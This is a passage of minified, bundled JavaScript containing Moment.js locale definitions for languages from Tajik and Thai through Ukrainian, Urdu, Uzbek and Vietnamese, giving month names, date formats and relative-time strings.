t={0:"-ум",1:"-ум",2:"-юм",3:"-юм",4:"-ум",5:"-ум",6:"-ум",7:"-ум",8:"-ум",9:"-ум",10:"-ум",12:"-ум",13:"-ум",20:"-ум",30:"-юм",40:"-ум",50:"-ум",60:"-ум",70:"-ум",80:"-ум",90:"-ум",100:"-ум"};e.defineLocale("tg",{months:{format:"январи_феврали_марти_апрели_майи_июни_июли_августи_сентябри_октябри_ноябри_декабри".split("_"),standalone:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_")},monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"якшанбе_душанбе_сешанбе_чоршанбе_панҷшанбе_ҷумъа_шанбе".split("_"),weekdaysShort:"яшб_дшб_сшб_чшб_пшб_ҷум_шнб".split("_"),weekdaysMin:"яш_дш_сш_чш_пш_ҷм_шб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Имрӯз соати] LT",nextDay:"[Фардо соати] LT",lastDay:"[Дирӯз соати] LT",nextWeek:"dddd[и] [ҳафтаи оянда соати] LT",lastWeek:"dddd[и] [ҳафтаи гузашта соати] LT",sameElse:"L"},relativeTime:{future:"баъди %s",past:"%s пеш",s:"якчанд сония",m:"як дақиқа",mm:"%d дақиқа",h:"як соат",hh:"%d соат",d:"як рӯз",dd:"%d рӯз",M:"як моҳ",MM:"%d моҳ",y:"як сол",yy:"%d сол"},meridiemParse:/шаб|субҳ|рӯз|бегоҳ/,meridiemHour:function(e,t){return 12===e&&(e=0),"шаб"===t?e<4?e:e+12:"субҳ"===t?e:"рӯз"===t?e>=11?e:e+12:"бегоҳ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"шаб":e<11?"субҳ":e<16?"рӯз":e<19?"бегоҳ":"шаб"},dayOfMonthOrdinalParse:/\d{1,2}-(ум|юм)/,ordinal:function(e){var n=e%10,a=e>=100?100:null;return e+(t[e]||t[n]||t[a])},week:{dow:1,doy:7}})}(n(30381))},9041:function(e,t,n){!function(e){"use strict";e.defineLocale("th",{months:"มกราคม_กุมภาพันธ์_มีนาคม_เมษายน_พฤษภาคม_มิถุนายน_กรกฎาคม_สิงหาคม_กันยายน_ตุลาคม_พฤศจิกายน_ธันวาคม".split("_"),monthsShort:"ม.ค._ก.พ._มี.ค._เม.ย._พ.ค._มิ.ย._ก.ค._ส.ค._ก.ย._ต.ค._พ.ย._ธ.ค.".split("_"),monthsParseExact:!0,weekdays:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัสบดี_ศุกร์_เสาร์".split("_"),weekdaysShort:"อาทิตย์_จันทร์_อังคาร_พุธ_พฤหัส_ศุกร์_เสาร์".split("_"),weekdaysMin:"อา._จ._อ._พ._พฤ._ศ._ส.".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY เวลา H:mm",LLLL:"วันddddที่ D MMMM YYYY เวลา H:mm"},meridiemParse:/ก่อนเที่ยง|หลังเที่ยง/,isPM:function(e){return"หลังเที่ยง"===e},meridiem:function(e,t,n){return e<12?"ก่อนเที่ยง":"หลังเที่ยง"},calendar:{sameDay:"[วันนี้ เวลา] LT",nextDay:"[พรุ่งนี้ เวลา] LT",nextWeek:"dddd[หน้า เวลา] LT",lastDay:"[เมื่อวานนี้ เวลา] LT",lastWeek:"[วัน]dddd[ที่แล้ว เวลา] LT",sameElse:"L"},relativeTime:{future:"อีก %s",past:"%sที่แล้ว",s:"ไม่กี่วินาที",ss:"%d วินาที",m:"1 นาที",mm:"%d นาที",h:"1 ชั่วโมง",hh:"%d ชั่วโมง",d:"1 วัน",dd:"%d วัน",w:"1 สัปดาห์",ww:"%d สัปดาห์",M:"1 เดือน",MM:"%d เดือน",y:"1 ปี",yy:"%d ปี"}})}(n(30381))},19005:function(e,t,n){!function(e){"use strict";var t={1:"'inji",5:"'inji",8:"'inji",70:"'inji",80:"'inji",2:"'nji",7:"'nji",20:"'nji",50:"'nji",3:"'ünji",4:"'ünji",100:"'ünji",6:"'njy",9:"'unjy",10:"'unjy",30:"'unjy",60:"'ynjy",90:"'ynjy"};e.defineLocale("tk",{months:"Ýanwar_Fewral_Mart_Aprel_Maý_Iýun_Iýul_Awgust_Sentýabr_Oktýabr_Noýabr_Dekabr".split("_"),monthsShort:"Ýan_Few_Mar_Apr_Maý_Iýn_Iýl_Awg_Sen_Okt_Noý_Dek".split("_"),weekdays:"Ýekşenbe_Duşenbe_Sişenbe_Çarşenbe_Penşenbe_Anna_Şenbe".split("_"),weekdaysShort:"Ýek_Duş_Siş_Çar_Pen_Ann_Şen".split("_"),weekdaysMin:"Ýk_Dş_Sş_Çr_Pn_An_Şn".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün sagat] LT",nextDay:"[ertir sagat] LT",nextWeek:"[indiki] dddd [sagat] LT",lastDay:"[düýn] LT",lastWeek:"[geçen] dddd [sagat] LT",sameElse:"L"},relativeTime:{future:"%s soň",past:"%s öň",s:"birnäçe sekunt",m:"bir minut",mm:"%d minut",h:"bir sagat",hh:"%d sagat",d:"bir gün",dd:"%d gün",M:"bir aý",MM:"%d aý",y:"bir ýyl",yy:"%d ýyl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'unjy";var a=e%10,i=e%100-a,r=e>=100?100:null;return e+(t[a]||t[i]||t[r])}},week:{dow:1,doy:7}})}(n(30381))},75768:function(e,t,n){!function(e){"use strict";e.defineLocale("tl-ph",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n(30381))},89444:function(e,t,n){!function(e){"use strict";var t="pagh_wa’_cha’_wej_loS_vagh_jav_Soch_chorgh_Hut".split("_");function n(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"leS":-1!==e.indexOf("jar")?t.slice(0,-3)+"waQ":-1!==e.indexOf("DIS")?t.slice(0,-3)+"nem":t+" pIq"}function a(e){var t=e;return t=-1!==e.indexOf("jaj")?t.slice(0,-3)+"Hu’":-1!==e.indexOf("jar")?t.slice(0,-3)+"wen":-1!==e.indexOf("DIS")?t.slice(0,-3)+"ben":t+" ret"}function i(e,t,n,a){var i=r(e);switch(n){case"ss":return i+" lup";case"mm":return i+" tup";case"hh":return i+" rep";case"dd":return i+" jaj";case"MM":return i+" jar";case"yy":return i+" DIS"}}function r(e){var n=Math.floor(e%1e3/100),a=Math.floor(e%100/10),i=e%10,r="";return n>0&&(r+=t[n]+"vatlh"),a>0&&(r+=(""!==r?" ":"")+t[a]+"maH"),i>0&&(r+=(""!==r?" ":"")+t[i]),""===r?"pagh":r}e.defineLocale("tlh",{months:"tera’ jar wa’_tera’ jar cha’_tera’ jar wej_tera’ jar loS_tera’ jar vagh_tera’ jar jav_tera’ jar Soch_tera’ jar chorgh_tera’ jar Hut_tera’ jar wa’maH_tera’ jar wa’maH wa’_tera’ jar wa’maH cha’".split("_"),monthsShort:"jar wa’_jar cha’_jar wej_jar loS_jar vagh_jar jav_jar Soch_jar chorgh_jar Hut_jar wa’maH_jar wa’maH wa’_jar wa’maH cha’".split("_"),monthsParseExact:!0,weekdays:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysShort:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),weekdaysMin:"lojmItjaj_DaSjaj_povjaj_ghItlhjaj_loghjaj_buqjaj_ghInjaj".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[DaHjaj] LT",nextDay:"[wa’leS] LT",nextWeek:"LLL",lastDay:"[wa’Hu’] LT",lastWeek:"LLL",sameElse:"L"},relativeTime:{future:n,past:a,s:"puS lup",ss:i,m:"wa’ tup",mm:i,h:"wa’ rep",hh:i,d:"wa’ jaj",dd:i,M:"wa’ jar",MM:i,y:"wa’ DIS",yy:i},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},72397:function(e,t,n){!function(e){"use strict";var t={1:"'inci",5:"'inci",8:"'inci",70:"'inci",80:"'inci",2:"'nci",7:"'nci",20:"'nci",50:"'nci",3:"'üncü",4:"'üncü",100:"'üncü",6:"'ncı",9:"'uncu",10:"'uncu",30:"'uncu",60:"'ıncı",90:"'ıncı"};e.defineLocale("tr",{months:"Ocak_Şubat_Mart_Nisan_Mayıs_Haziran_Temmuz_Ağustos_Eylül_Ekim_Kasım_Aralık".split("_"),monthsShort:"Oca_Şub_Mar_Nis_May_Haz_Tem_Ağu_Eyl_Eki_Kas_Ara".split("_"),weekdays:"Pazar_Pazartesi_Salı_Çarşamba_Perşembe_Cuma_Cumartesi".split("_"),weekdaysShort:"Paz_Pts_Sal_Çar_Per_Cum_Cts".split("_"),weekdaysMin:"Pz_Pt_Sa_Ça_Pe_Cu_Ct".split("_"),meridiem:function(e,t,n){return e<12?n?"öö":"ÖÖ":n?"ös":"ÖS"},meridiemParse:/öö|ÖÖ|ös|ÖS/,isPM:function(e){return"ös"===e||"ÖS"===e},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[bugün saat] LT",nextDay:"[yarın saat] LT",nextWeek:"[gelecek] dddd [saat] LT",lastDay:"[dün] LT",lastWeek:"[geçen] dddd [saat] LT",sameElse:"L"},relativeTime:{future:"%s sonra",past:"%s önce",s:"birkaç saniye",ss:"%d saniye",m:"bir dakika",mm:"%d dakika",h:"bir saat",hh:"%d saat",d:"bir gün",dd:"%d gün",w:"bir hafta",ww:"%d hafta",M:"bir ay",MM:"%d ay",y:"bir yıl",yy:"%d yıl"},ordinal:function(e,n){switch(n){case"d":case"D":case"Do":case"DD":return e;default:if(0===e)return e+"'ıncı";var a=e%10,i=e%100-a,r=e>=100?100:null;return e+(t[a]||t[i]||t[r])}},week:{dow:1,doy:7}})}(n(30381))},28254:function(e,t,n){!function(e){"use strict";function t(e,t,n,a){var i={s:["viensas secunds","'iensas secunds"],ss:[e+" secunds",e+" secunds"],m:["'n míut","'iens míut"],mm:[e+" míuts",e+" míuts"],h:["'n þora","'iensa þora"],hh:[e+" þoras",e+" þoras"],d:["'n ziua","'iensa ziua"],dd:[e+" ziuas",e+" ziuas"],M:["'n mes","'iens mes"],MM:[e+" mesen",e+" mesen"],y:["'n ar","'iens ar"],yy:[e+" ars",e+" ars"]};return a||t?i[n][0]:i[n][1]}e.defineLocale("tzl",{months:"Januar_Fevraglh_Març_Avrïu_Mai_Gün_Julia_Guscht_Setemvar_Listopäts_Noemvar_Zecemvar".split("_"),monthsShort:"Jan_Fev_Mar_Avr_Mai_Gün_Jul_Gus_Set_Lis_Noe_Zec".split("_"),weekdays:"Súladi_Lúneçi_Maitzi_Márcuri_Xhúadi_Viénerçi_Sáturi".split("_"),weekdaysShort:"Súl_Lún_Mai_Már_Xhú_Vié_Sát".split("_"),weekdaysMin:"Sú_Lú_Ma_Má_Xh_Vi_Sá".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"D. MMMM [dallas] YYYY",LLL:"D. MMMM [dallas] YYYY HH.mm",LLLL:"dddd, [li] D. MMMM [dallas] YYYY HH.mm"},meridiemParse:/d\'o|d\'a/i,isPM:function(e){return"d'o"===e.toLowerCase()},meridiem:function(e,t,n){return e>11?n?"d'o":"D'O":n?"d'a":"D'A"},calendar:{sameDay:"[oxhi à] LT",nextDay:"[demà à] LT",nextWeek:"dddd [à] LT",lastDay:"[ieiri à] LT",lastWeek:"[sür el] dddd [lasteu à] LT",sameElse:"L"},relativeTime:{future:"osprei %s",past:"ja%s",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(30381))},30699:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm-latn",{months:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),monthsShort:"innayr_brˤayrˤ_marˤsˤ_ibrir_mayyw_ywnyw_ywlywz_ɣwšt_šwtanbir_ktˤwbrˤ_nwwanbir_dwjnbir".split("_"),weekdays:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysShort:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),weekdaysMin:"asamas_aynas_asinas_akras_akwas_asimwas_asiḍyas".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[asdkh g] LT",nextDay:"[aska g] LT",nextWeek:"dddd [g] LT",lastDay:"[assant g] LT",lastWeek:"dddd [g] LT",sameElse:"L"},relativeTime:{future:"dadkh s yan %s",past:"yan %s",s:"imik",ss:"%d imik",m:"minuḍ",mm:"%d minuḍ",h:"saɛa",hh:"%d tassaɛin",d:"ass",dd:"%d ossan",M:"ayowr",MM:"%d iyyirn",y:"asgas",yy:"%d isgasn"},week:{dow:6,doy:12}})}(n(30381))},51106:function(e,t,n){!function(e){"use strict";e.defineLocale("tzm",{months:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),monthsShort:"ⵉⵏⵏⴰⵢⵔ_ⴱⵕⴰⵢⵕ_ⵎⴰⵕⵚ_ⵉⴱⵔⵉⵔ_ⵎⴰⵢⵢⵓ_ⵢⵓⵏⵢⵓ_ⵢⵓⵍⵢⵓⵣ_ⵖⵓⵛⵜ_ⵛⵓⵜⴰⵏⴱⵉⵔ_ⴽⵟⵓⴱⵕ_ⵏⵓⵡⴰⵏⴱⵉⵔ_ⴷⵓⵊⵏⴱⵉⵔ".split("_"),weekdays:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysShort:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),weekdaysMin:"ⴰⵙⴰⵎⴰⵙ_ⴰⵢⵏⴰⵙ_ⴰⵙⵉⵏⴰⵙ_ⴰⴽⵔⴰⵙ_ⴰⴽⵡⴰⵙ_ⴰⵙⵉⵎⵡⴰⵙ_ⴰⵙⵉⴹⵢⴰⵙ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[ⴰⵙⴷⵅ ⴴ] LT",nextDay:"[ⴰⵙⴽⴰ ⴴ] LT",nextWeek:"dddd [ⴴ] LT",lastDay:"[ⴰⵚⴰⵏⵜ ⴴ] LT",lastWeek:"dddd [ⴴ] LT",sameElse:"L"},relativeTime:{future:"ⴷⴰⴷⵅ ⵙ ⵢⴰⵏ %s",past:"ⵢⴰⵏ %s",s:"ⵉⵎⵉⴽ",ss:"%d ⵉⵎⵉⴽ",m:"ⵎⵉⵏⵓⴺ",mm:"%d ⵎⵉⵏⵓⴺ",h:"ⵙⴰⵄⴰ",hh:"%d ⵜⴰⵙⵙⴰⵄⵉⵏ",d:"ⴰⵙⵙ",dd:"%d oⵙⵙⴰⵏ",M:"ⴰⵢoⵓⵔ",MM:"%d ⵉⵢⵢⵉⵔⵏ",y:"ⴰⵙⴳⴰⵙ",yy:"%d ⵉⵙⴳⴰⵙⵏ"},week:{dow:6,doy:12}})}(n(30381))},9288:function(e,t,n){!function(e){"use strict";e.defineLocale("ug-cn",{months:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),monthsShort:"يانۋار_فېۋرال_مارت_ئاپرېل_ماي_ئىيۇن_ئىيۇل_ئاۋغۇست_سېنتەبىر_ئۆكتەبىر_نويابىر_دېكابىر".split("_"),weekdays:"يەكشەنبە_دۈشەنبە_سەيشەنبە_چارشەنبە_پەيشەنبە_جۈمە_شەنبە".split("_"),weekdaysShort:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),weekdaysMin:"يە_دۈ_سە_چا_پە_جۈ_شە".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY-يىلىM-ئاينىڭD-كۈنى",LLL:"YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm",LLLL:"dddd، YYYY-يىلىM-ئاينىڭD-كۈنى، HH:mm"},meridiemParse:/يېرىم كېچە|سەھەر|چۈشتىن بۇرۇن|چۈش|چۈشتىن كېيىن|كەچ/,meridiemHour:function(e,t){return 12===e&&(e=0),"يېرىم كېچە"===t||"سەھەر"===t||"چۈشتىن بۇرۇن"===t?e:"چۈشتىن كېيىن"===t||"كەچ"===t?e+12:e>=11?e:e+12},meridiem:function(e,t,n){var a=100*e+t;return a<600?"يېرىم كېچە":a<900?"سەھەر":a<1130?"چۈشتىن بۇرۇن":a<1230?"چۈش":a<1800?"چۈشتىن كېيىن":"كەچ"},calendar:{sameDay:"[بۈگۈن سائەت] LT",nextDay:"[ئەتە سائەت] LT",nextWeek:"[كېلەركى] dddd [سائەت] LT",lastDay:"[تۆنۈگۈن] LT",lastWeek:"[ئالدىنقى] dddd [سائەت] LT",sameElse:"L"},relativeTime:{future:"%s كېيىن",past:"%s بۇرۇن",s:"نەچچە سېكونت",ss:"%d سېكونت",m:"بىر مىنۇت",mm:"%d مىنۇت",h:"بىر سائەت",hh:"%d سائەت",d:"بىر كۈن",dd:"%d كۈن",M:"بىر ئاي",MM:"%d ئاي",y:"بىر يىل",yy:"%d يىل"},dayOfMonthOrdinalParse:/\d{1,2}(-كۈنى|-ئاي|-ھەپتە)/,ordinal:function(e,t){switch(t){case"d":case"D":case"DDD":return e+"-كۈنى";case"w":case"W":return e+"-ھەپتە";default:return e}},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:7}})}(n(30381))},67691:function(e,t,n){!function(e){"use strict";function t(e,t){var n=e.split("_");return t%10==1&&t%100!=11?n[0]:t%10>=2&&t%10<=4&&(t%100<10||t%100>=20)?n[1]:n[2]}function n(e,n,a){return"m"===a?n?"хвилина":"хвилину":"h"===a?n?"година":"годину":e+" "+t({ss:n?"секунда_секунди_секунд":"секунду_секунди_секунд",mm:n?"хвилина_хвилини_хвилин":"хвилину_хвилини_хвилин",hh:n?"година_години_годин":"годину_години_годин",dd:"день_дні_днів",MM:"місяць_місяці_місяців",yy:"рік_роки_років"}[a],+e)}function a(e,t){var n={nominative:"неділя_понеділок_вівторок_середа_четвер_п’ятниця_субота".split("_"),accusative:"неділю_понеділок_вівторок_середу_четвер_п’ятницю_суботу".split("_"),genitive:"неділі_понеділка_вівторка_середи_четверга_п’ятниці_суботи".split("_")};return!0===e?n.nominative.slice(1,7).concat(n.nominative.slice(0,1)):e?n[/(\[[ВвУу]\]) ?dddd/.test(t)?"accusative":/\[?(?:минулої|наступної)? ?\] ?dddd/.test(t)?"genitive":"nominative"][e.day()]:n.nominative}function i(e){return function(){return e+"о"+(11===this.hours()?"б":"")+"] LT"}}e.defineLocale("uk",{months:{format:"січня_лютого_березня_квітня_травня_червня_липня_серпня_вересня_жовтня_листопада_грудня".split("_"),standalone:"січень_лютий_березень_квітень_травень_червень_липень_серпень_вересень_жовтень_листопад_грудень".split("_")},monthsShort:"січ_лют_бер_квіт_трав_черв_лип_серп_вер_жовт_лист_груд".split("_"),weekdays:a,weekdaysShort:"нд_пн_вт_ср_чт_пт_сб".split("_"),weekdaysMin:"нд_пн_вт_ср_чт_пт_сб".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY р.",LLL:"D MMMM YYYY р., HH:mm",LLLL:"dddd, D MMMM YYYY р., HH:mm"},calendar:{sameDay:i("[Сьогодні "),nextDay:i("[Завтра "),lastDay:i("[Вчора "),nextWeek:i("[У] dddd ["),lastWeek:function(){switch(this.day()){case 0:case 3:case 5:case 6:return i("[Минулої] dddd [").call(this);case 1:case 2:case 4:return i("[Минулого] dddd [").call(this)}},sameElse:"L"},relativeTime:{future:"за %s",past:"%s тому",s:"декілька секунд",ss:n,m:n,mm:n,h:"годину",hh:n,d:"день",dd:n,M:"місяць",MM:n,y:"рік",yy:n},meridiemParse:/ночі|ранку|дня|вечора/,isPM:function(e){return/^(дня|вечора)$/.test(e)},meridiem:function(e,t,n){return e<4?"ночі":e<12?"ранку":e<17?"дня":"вечора"},dayOfMonthOrdinalParse:/\d{1,2}-(й|го)/,ordinal:function(e,t){switch(t){case"M":case"d":case"DDD":case"w":case"W":return e+"-й";case"D":return e+"-го";default:return e}},week:{dow:1,doy:7}})}(n(30381))},13795:function(e,t,n){!function(e){"use strict";var t=["جنوری","فروری","مارچ","اپریل","مئی","جون","جولائی","اگست","ستمبر","اکتوبر","نومبر","دسمبر"],n=["اتوار","پیر","منگل","بدھ","جمعرات","جمعہ","ہفتہ"];e.defineLocale("ur",{months:t,monthsShort:t,weekdays:n,weekdaysShort:n,weekdaysMin:n,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd، D MMMM YYYY HH:mm"},meridiemParse:/صبح|شام/,isPM:function(e){return"شام"===e},meridiem:function(e,t,n){return e<12?"صبح":"شام"},calendar:{sameDay:"[آج بوقت] LT",nextDay:"[کل بوقت] LT",nextWeek:"dddd [بوقت] LT",lastDay:"[گذشتہ روز بوقت] LT",lastWeek:"[گذشتہ] dddd [بوقت] LT",sameElse:"L"},relativeTime:{future:"%s بعد",past:"%s قبل",s:"چند سیکنڈ",ss:"%d سیکنڈ",m:"ایک منٹ",mm:"%d منٹ",h:"ایک گھنٹہ",hh:"%d گھنٹے",d:"ایک دن",dd:"%d دن",M:"ایک ماہ",MM:"%d ماہ",y:"ایک سال",yy:"%d سال"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:1,doy:4}})}(n(30381))},60588:function(e,t,n){!function(e){"use strict";e.defineLocale("uz-latn",{months:"Yanvar_Fevral_Mart_Aprel_May_Iyun_Iyul_Avgust_Sentabr_Oktabr_Noyabr_Dekabr".split("_"),monthsShort:"Yan_Fev_Mar_Apr_May_Iyun_Iyul_Avg_Sen_Okt_Noy_Dek".split("_"),weekdays:"Yakshanba_Dushanba_Seshanba_Chorshanba_Payshanba_Juma_Shanba".split("_"),weekdaysShort:"Yak_Dush_Sesh_Chor_Pay_Jum_Shan".split("_"),weekdaysMin:"Ya_Du_Se_Cho_Pa_Ju_Sha".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"D MMMM YYYY, dddd HH:mm"},calendar:{sameDay:"[Bugun soat] LT [da]",nextDay:"[Ertaga] LT [da]",nextWeek:"dddd [kuni soat] LT [da]",lastDay:"[Kecha soat] LT [da]",lastWeek:"[O'tgan] dddd [kuni soat] LT [da]",sameElse:"L"},relativeTime:{future:"Yaqin %s ichida",past:"Bir necha %s oldin",s:"soniya",ss:"%d soniya",m:"bir daqiqa",mm:"%d daqiqa",h:"bir soat",hh:"%d soat",d:"bir kun",dd:"%d kun",M:"bir oy",MM:"%d oy",y:"bir yil",yy:"%d yil"},week:{dow:1,doy:7}})}(n(30381))},6791:function(e,t,n){!function(e){"use strict";e.defineLocale("uz",{months:"январ_феврал_март_апрел_май_июн_июл_август_сентябр_октябр_ноябр_декабр".split("_"),monthsShort:"янв_фев_мар_апр_май_июн_июл_авг_сен_окт_ноя_дек".split("_"),weekdays:"Якшанба_Душанба_Сешанба_Чоршанба_Пайшанба_Жума_Шанба".split("_"),weekdaysShort:"Якш_Душ_Сеш_Чор_Пай_Жум_Шан".split("_"),weekdaysMin:"Як_Ду_Се_Чо_Па_Жу_Ша".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"D MMMM YYYY, dddd HH:mm"},calendar:{sameDay:"[Бугун соат] LT [да]",nextDay:"[Эртага] LT [да]",nextWeek:"dddd [куни соат] LT [да]",lastDay:"[Кеча соат] LT [да]",lastWeek:"[Утган] dddd [куни соат] LT [да]",sameElse:"L"},relativeTime:{future:"Якин %s ичида",past:"Бир неча %s олдин",s:"фурсат",ss:"%d фурсат",m:"бир дакика",mm:"%d дакика",h:"бир соат",hh:"%d соат",d:"бир кун",dd:"%d кун",M:"бир ой",MM:"%d ой",y:"бир йил",yy:"%d йил"},week:{dow:1,doy:7}})}(n(30381))},65666:function(e,t,n){!function(e){"use strict";e.defineLocale("vi",{months:"tháng 1_tháng 2_tháng 3_tháng 4_tháng 5_tháng 6_tháng 7_tháng 8_tháng 9_tháng 10_tháng 11_tháng 12".split("_"),monthsShort:"Thg 01_Thg 02_Thg 03_Thg 04_Thg 05_Thg 06_Thg 07_Thg 08_Thg 09_Thg 10_Thg 11_Thg 12".split("_"),monthsParseExact:!0,weekdays:"chủ nhật_thứ hai_thứ ba_thứ tư_thứ năm_thứ sáu_thứ bảy".split("_"),weekdaysShort:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysMin:"CN_T2_T3_T4_T5_T6_T7".split("_"),weekdaysParseExact:!0,meridiemParse:/sa|ch/i,isPM:function(e){return/^ch$/i.test(e)},meridiem:function(e,t,n){return e<12?n?"sa":"SA":n?"ch":"CH"},longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM [năm] YYYY",LLL:"D MMMM [năm] YYYY HH:mm",LLLL:"dddd, D MMMM [năm] YYYY HH:mm",l:"DD/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[Hôm nay lúc] LT",nextDay:"[Ngày mai lúc] LT",nextWeek:"dddd [tuần tới lúc] LT",lastDay:"[Hôm qua lúc] LT",lastWeek:"dddd [tuần trước lúc] LT",sameElse:"L"},relativeTime:{future:"%s tới",past:"%s trước",s:"vài giây",ss:"%d giây",m:"một phút",mm:"%d phút",h:"một giờ",hh:"%d giờ",d:"một ngày",dd:"%d ngày",w:"một tuần",ww:"%d tuần",M:"một tháng",MM:"%d tháng",y:"một năm",yy:"%d 